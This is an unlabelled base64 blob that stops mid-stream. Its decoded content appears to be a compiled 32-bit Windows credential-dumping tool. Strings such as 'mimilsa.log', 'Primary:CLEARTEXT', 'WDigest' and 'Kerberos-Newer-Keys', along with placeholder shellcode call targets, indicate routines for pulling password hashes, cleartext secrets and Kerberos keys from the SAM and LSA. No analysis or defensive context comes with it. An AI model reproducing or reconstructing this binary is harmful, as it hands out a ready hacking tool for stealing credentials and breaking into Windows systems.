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v//WVmDxhA5Xfx1hf91+P8VyJABEFP/dfT/FXCQARCLRfxfXlvJw1WL7IHs/AAAAFZXM/ZqPIv4jYVI////VlCJtUT////oQogAAGo8jYUI////VlCJtQT////oLYgAAIPEGIP/QHYDakBfV/91CI2FRP///1DoGIgAAFf/dQiNhQT///9Q6AiIAACDxBgzwIG0BUT///82NjY2gbQFBP///1xcXFyDwASD+EBy4o1FhFDoBHsAAGpAjYVE////UI1FhFDo7HoAAGoQ/3UMjUWEUOjeegAAjUWEUOjPegAAjXXcjX3spaWljUWEUKXoyHoAAGpAjYUE////UI1FhFDosHoAAGoQjUXsUI1FhFDooXoAAI1FhFDoknoAAIt9EI113KWlpaVfXsnDVYvsgexsAQAAjUWsiUXAiUW4uBAMAhBTM9uJhUj///+JhVj///+44AsCEFa+KAwCEImFaP///4mFeP///42F2P7//1eJXdyJXaiJXeCJXeiJXdSJXdiJXeyJXfSJXayJXbCJXbyJXbSJXfiJtdj+///Hhdz+//94JQIQx4Xg/v//QUFBQYmd5P7//4m16P7//8eF7P7//4QlAhDHhfD+//9CQkJCiZ30/v//ibX4/v//x4X8/v//lCUCEMeFAP///0NDQ0OJnQT///+JtQj////HhQz///+0JQIQx4UQ////RERERImdFP///4m1GP///8eFHP///8QlAhDHhSD///9FRUVFiZ0k////ibUo////x4Us////1CUCEMeFMP///0ZGRkaJnTT///+JtTj////HhTz////wJQIQx4VA////R0dHR4mdRP///8eFTP///xAmAhDHhVD///9ISEhIiZ1U////x4Vc////NCYCEMeFYP///0lJSUmJnWT////HhWz///9YJgIQx4Vw////SkpKSomddP///8eFfP///2gmAhDHRYBLS0tLiV2Ex0WI/AsCEMdFjHQmAhDHRZBMTExMiV2Ux0WYDAAAAIlFnDkdhNsCEA+FeAEAAFNTaHwmAhD/dQz/dQjotZX//4PEFIXAD4TpAAAA/zW43AIQuRjSAhBqBOhudf//i/hZWTv7D4SuAwAAi0cIiUW8i0cQiUW0jUX0aDgEAABQ6JwDAABZWYXAD4RvAwAAVv919I2FrP7//+ire///WVmFwHR6/3UMi4Ws/v///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